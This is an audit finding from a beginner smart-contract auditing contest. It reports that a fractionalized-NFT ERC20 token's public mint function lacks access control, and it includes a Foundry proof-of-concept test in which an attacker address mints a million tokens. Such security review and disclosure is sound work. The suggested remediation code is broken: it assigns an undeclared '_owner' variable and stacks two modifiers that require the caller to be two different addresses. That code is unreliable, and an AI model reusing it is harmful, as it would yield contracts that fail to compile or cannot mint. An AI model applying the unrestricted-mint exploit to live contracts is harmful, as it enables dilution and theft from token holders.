Pieces Protocol

First Flight #32
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Lack of Access Control on mint Function

Summary

The mint function, implemented in ERC20ToGenerateNftFraccion.sol, is publicly accessible, meaning that a malicious actor could mint an arbitrary number of tokens. This undermines the integrity of the fractionalization mechanism in the TokenDivider contract. This results in the dilution of the token supply, exploitation of the claimNft, sellErc20, function residing in TokenDivider.sol. Pieces Protocol should implement access control mechanisms in the mint** function to only authorized addresses, for example the owner of the contract or TokenDivider contract.

Vulnerability Details

The mint function does not implement any access control, allowing anyone to mint ERC20 tokens.

**** Snippet from ERC20ToGenerateNftFraccion.sol *****
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}

Impact

Unrestricted minting functionality might allow the following:

  • Dilution of ERC20 Token value, rendering legitimate ownership meaningless.

  • Exploitation of TokenDivider's sellErc20 function. After minting a large amount of ERC20 tokens, a malicious actor might sell the tokens at prices that are far below the market value, driving down the perceived value of the tokens. This causes a loss of funds on those who legitimately own tokens.

Proof Of Concept

Foundry test showcases that anyone could call the mint function without any restrictions.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
import "../src/TokenDivider.sol";
import "../src/ERC20ToGenerateNftFraccion.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract MockNFT is ERC721 {
constructor() ERC721("MockNFT", "MNFT") {}
function mint(address to, uint256 tokenId) external {
_mint(to, tokenId);
}
}
contract ExploitMintAfterDeploymentTest is Test {
ERC20ToGenerateNftFraccion public erc20Token;
address public owner = address(0x1234);
address public attacker = address(0x5678);
function testOwnerDeploysTokenAndAttackerExploitsMint() public {
// Step 1: Owner deploys the ERC20 token
vm.startPrank(owner);
// Deploy the ERC20 token
erc20Token = new ERC20ToGenerateNftFraccion("MockFraction", "MF");
// Verify deployment by the owner
emit log_named_address("ERC20 Token Deployed by Owner", owner);
vm.stopPrank();
// Step 2: Attacker exploits the mint function
vm.startPrank(attacker);
// Attacker mints tokens without restriction
uint256 mintedAmount = 1_000_000 ether; // Arbitrary large amount
erc20Token.mint(attacker, mintedAmount);
// Verify the attacker now owns the minted tokens
uint256 attackerBalance = erc20Token.balanceOf(attacker);
emit log_named_uint("Attacker's Balance After Mint", attackerBalance);
assertEq(attackerBalance, mintedAmount);
vm.stopPrank();
}
}

Recommendations

To mitigate this vulnerability, implement strict access control on the mint function.

Suggested Remediated Code:

// @audit-comment Initialize address of the dividerContract, or token deployer
address public immutable dividerContract; // divider contract address.
address private immutable owner; // Owner address
constructor(string memory _name, string memory _symbol, address _dividerContract) ERC20(_name, _symbol) {
dividerContract = _dividerContract;
_owner = msg.sender;
}
// function modifier to restrict function access to the dividerContract
modifier onlyDividerContract() {
require(msg.sender == dividerContract, "Unauthorized");
_;
}
// function modifier to restrict functionality access only deployer or owner of contract
modifier onlyOwner() {
require(_owner == msg.sender, "Ownership Assertion: Caller of the function is not the owner.");
_;
}
function mint(address _to, uint256 _amount) public onlyDividerContract onlyOwner {
_mint(_to, _amount);
}
Updates

Lead Judging Commences

juan_pedro_ventu Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of token access control chekcs

Any person can mint the ERC20 token generated in representation of the NFT

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.